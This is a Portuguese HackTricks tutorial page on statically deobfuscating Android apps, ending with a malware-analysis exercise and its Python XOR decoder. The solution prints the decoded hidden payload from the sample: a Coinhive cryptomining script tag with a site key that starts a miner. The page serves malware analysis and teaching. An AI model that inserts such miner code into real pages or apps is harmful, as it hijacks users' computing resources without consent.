8.8 KiB
Existem muitas vezes em que o aplicativo que você está revertendo não será tão direto quanto alguns dos exemplos que discutimos. O desenvolvedor implementará uma ou mais técnicas de ofuscação para ocultar o comportamento e / ou implementação de seu aplicativo. Isso pode ser por motivos benignos e maliciosos.
A chave sobre a ofuscação a lembrar é que, se você quiser desofuscar, poderá fazê-lo. A decisão chave não é se você pode ou não, mas se vale a pena os recursos para desofuscar.
A razão pela qual você sempre pode desofuscar algo é porque, em última análise, a CPU em algum momento precisa ver o código não ofuscado para executá-lo.
Como desofuscar
Como você escolhe desofuscar o aplicativo dependerá do método de ofuscação, mas existem algumas técnicas comuns que geralmente funcionam bem. Aqui, abordaremos apenas as técnicas de desofuscação estática, pois este workshop cobre apenas análise / reversão estática. No entanto, lembre-se de que executar o aplicativo e analisá-lo dinamicamente pode ser outra ótima maneira de contornar a ofuscação.
Para ofuscação no bytecode DEX (Java), uma das maneiras mais fáceis de desofuscar estaticamente é identificar os métodos de desofuscação no aplicativo e copiar sua decompilação em um arquivo Java que você então executa no arquivo ofuscado, strings, código, etc.
Outra solução para Java e Código Nativo é transliterar o algoritmo de desofuscação em Python ou qualquer outra linguagem de script com a qual você esteja mais confortável. Digo "transliterar" porque é importante lembrar que nem sempre é necessário \ * entender \ * o algoritmo de desofuscação, você só precisa de uma maneira de executá-lo. Eu cubro isso com mais detalhes na palestra "Desembalando o Desembalador Embalado" que está vinculada na seção "Mais exemplos".
Indicadores de ofuscação
Existem muitos tipos diferentes de ofuscação e, portanto, assim como muitos tipos diferentes de indicadores para alertá-lo como analista de que um aplicativo provavelmente está ofuscado, mas aqui estão alguns exemplos com soluções de análise estática propostas para desofuscar.
- Nenhuma string: Java e Android dependem muito de strings, então se você não vir nenhuma ou apenas strings embaralhadas, é altamente provável que as strings estejam ofuscadas.
- Solução sugerida: Procure chamadas de método que levem strings como argumento e rastreie de volta de onde esse argumento está vindo. Em algum momento, o argumento de string passará por um método de desofuscação antes de ser passado para a API que leva o argumento String.
- Strings embaralhadas: as APIs Java e Android exigem as strings de texto simples, não embaralhadas.
- Solução sugerida: As strings embaralhadas provavelmente são todas passadas para os mesmos métodos antes de serem passadas para as APIs. Esses métodos provavelmente são os métodos de desofuscação.
- Arquivos binários no diretório assets / e chamadas DexClassLoader no aplicativo: provavelmente descompactando e carregando código adicional. (Também pode estar baixando de um local remoto e depois carregando usando DexClassLoader)
- Solução sugerida: Identifique onde o arquivo é lido e siga o caminho. É provável que seja desofuscado rapidamente após a leitura.
- Bibliotecas nativas - Não é possível identificar as funções JNI (nenhuma função chamada Java_ e nenhuma chamada para RegisterNatives): Para executar quaisquer métodos nativos, JNI deve ser capaz de emparelhar a função na biblioteca nativa com a declaração do método nativo em Java e, portanto, um dos dois deve existir em algum momento.
- Solução sugerida: Comece no método JNI_OnLoad e procure uma rotina de desofuscação que carregue código adicional.
Exercício 7 - Desofuscação de string
Neste exercício, praticaremos a desofuscação de strings para analisar um aplicativo. Para o exercício, usaremos a amostra em ~/samples/ClashOfLights.apk
na VM. Esta amostra tem o digest SHA256 c403d2dcee37f80b6d51ebada18c409a9eae45416fe84cd0c1ea1d9897eae4e5.
Objetivos
Identificar strings ofuscadas e desenvolver uma solução para desofuscá-las.
Contexto do exercício
Você é um analista de malware revisando este aplicativo para determinar se é malware. Você encontra uma string Javascript ofuscada que está sendo carregada e precisa desofuscá-la para determinar se o aplicativo é malicioso ou não. Você não pode executar o aplicativo dinamicamente e precisa determinar o que o Javascript é estaticamente.
Instruções
- Encontre a string que você precisa desofuscar
- Identifique a rotina que desofusca isso.
- Determine como você deseja escrever uma solução para desofuscar a string.
- Faça isso :)
Solução
A string desofuscada é:
<script src="https://coinhive.com/lib/coinhive.min.js"></script><script>var miner = new CoinHive.Anonymous('nf24ZwEMmu0m1X6MgcOv48AMsIYErpFE', {threads: 2});miner.start();</script>
O script Python que escrevi para desofuscar é:
enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C"
length = len(enc_str)
count = 0
dec_str = [0] * (length/2)
while (count < length):
dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF
count += 2
print dec_str
key = [75, 67, 81, 82, 49, 57, 84, 90]
enc_str = dec_str
count = 0
length = len(enc_str)
while (count < length):
dec_str[count] = chr(enc_str[count] ^ key[count % len(key)])
count += 1
print ''.join(dec_str)
Mais Exemplos
Eu fiz algumas palestras sobre desofuscação de aplicativos Android que incluem uma variedade de mecanismos de ofuscação. Nestas palestras, eu discuto as técnicas avançadas de ofuscação, minha solução para desofuscar e as considerações e escolhas que fiz ao decidir como eu queria desofuscar.
- BlackHat USA 2018: “Desempacotando o Desempacotador: Engenharia Reversa de uma Biblioteca Anti-Análise Android” [vídeo]
- Esta palestra aborda a engenharia reversa de uma das bibliotecas nativas de anti-análise mais complexas que eu já vi usada por um aplicativo Android. Ela cobre principalmente técnicas de ofuscação em código nativo.
- REcon 2019: “O Caminho para a Carga Útil: Edição Android” [vídeo]
- Esta palestra discute uma série de técnicas de ofuscação, exclusivamente em código Java, que um botnet Android estava usando para ocultar seu comportamento.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.